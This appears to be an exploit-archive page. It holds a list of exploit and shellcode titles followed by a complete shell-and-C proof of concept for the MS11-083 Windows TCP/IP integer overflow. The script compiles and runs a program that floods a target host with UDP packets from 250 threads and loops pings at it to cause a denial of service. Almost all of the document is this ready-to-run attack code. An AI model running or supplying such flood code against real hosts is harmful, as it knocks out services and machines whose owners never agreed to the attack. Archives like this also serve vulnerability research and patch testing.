
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
122 lines
No EOL
3.6 KiB
C
122 lines
No EOL
3.6 KiB
C
// source: https://www.securityfocus.com/bid/50517/info
|
|
|
|
Microsoft Windows is prone to a remote integer-overflow vulnerability that affects the TCP/IP stack.
|
|
|
|
An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts may result in a denial-of-service condition.
|
|
|
|
#!/bin/sh
|
|
cat >> winnuke2011.c << EOF
|
|
/*
|
|
* MS11-083 DoS/PoC exploit
|
|
* ========================
|
|
* This attempts to trigger the ICMP refCount overflow
|
|
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
|
|
* requires sending 2^32 UDP packets to a host on a closed
|
|
* port, or 4,294,967,296 packets. A dereference function
|
|
* must be called that is not triggered via UDP but ICMP
|
|
* echo packets. This exploit creates 250 threads and
|
|
* floods a host with UDP packets and then attempts to
|
|
* trigger the de-ref using ping. I calculated that it
|
|
* would take approximately 52 days for the host to
|
|
* enter a condition where this vulnerability is
|
|
* triggerable.
|
|
*
|
|
* -- prdelka
|
|
*/
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <pthread.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <sys/time.h>
|
|
|
|
int port;
|
|
int active = 0;
|
|
pthread_mutex_t mutexactive;
|
|
void *sendpackets(void *ptr);
|
|
|
|
int main(int argc, char *argv[]) {
|
|
pthread_t thread;
|
|
int iret,lthreads;
|
|
pid_t pid;
|
|
printf("[+] MS11-083 DoS/PoC exploit\n");
|
|
if(argc<3){
|
|
printf("[!] Usage : %s <server> <port>\n", argv[0]);
|
|
exit(1);
|
|
}
|
|
char *const args[] = {"ping",argv[1],NULL};
|
|
char *const envp[] = {"",NULL};
|
|
port = atoi(argv[2]);
|
|
for(lthreads=0;lthreads<250;lthreads++){//UDP flood
|
|
iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
|
|
printf("[-] Thread number %d started\n",lthreads);
|
|
sleep(1);
|
|
}
|
|
printf("[-] One does not simply barrel roll into Mordor\n");
|
|
pid = fork();
|
|
if(pid==0){// trigger deref.
|
|
execve("./ping.sh",args,envp);
|
|
};
|
|
while(active){
|
|
}
|
|
printf("[-] You are finished. Patience is a virtue.\n");
|
|
exit(0);
|
|
}
|
|
|
|
void *sendpackets(void *ptr)
|
|
{
|
|
int sd, rc, n, echoLen, flags, error, timeOut;
|
|
unsigned long i;
|
|
struct sockaddr_in remoteServAddr;
|
|
struct hostent *h;
|
|
char str[41];
|
|
pthread_mutex_lock(&mutexactive);
|
|
active++;
|
|
pthread_mutex_unlock(&mutexactive);
|
|
srand(time(NULL));
|
|
for (i = 0;i < 40;++i){
|
|
str[i] = (char)((rand() % 78) + 30);
|
|
}
|
|
str[40] = '\0'; // yes this was off-by-one. :(
|
|
printf("[-] Sending payload '%s'\n",str);
|
|
h = gethostbyname(ptr);
|
|
if(h==NULL) {
|
|
printf("unknown host '%s' \n",(char*)ptr);
|
|
exit(1);
|
|
}
|
|
remoteServAddr.sin_family = h->h_addrtype;
|
|
memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
|
|
remoteServAddr.sin_port = htons(port);
|
|
sd = socket(AF_INET,SOCK_DGRAM,0);
|
|
if(sd<0){
|
|
printf("[!] Cannot open socket\n");
|
|
pthread_exit((void*)0);
|
|
}
|
|
flags = 0;
|
|
for(i=0;i<4294967295;i++){
|
|
rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
|
|
if(rc<0){
|
|
printf("[!] Cannot send data\n");
|
|
close(sd);
|
|
pthread_exit((void*)0);
|
|
}
|
|
}
|
|
pthread_mutex_lock(&mutexactive);
|
|
active--;
|
|
pthread_mutex_unlock(&mutexactive);
|
|
pthread_exit(NULL);
|
|
}
|
|
EOF
|
|
cat >> ping.sh << EOF
|
|
#!/bin/sh
|
|
while \`true\`;do /sbin/ping -c 1 \$1;done
|
|
EOF
|
|
chmod +x ping.sh
|
|
gcc winnuke2011.c -o winnuke2011
|
|
./winnuke2011 |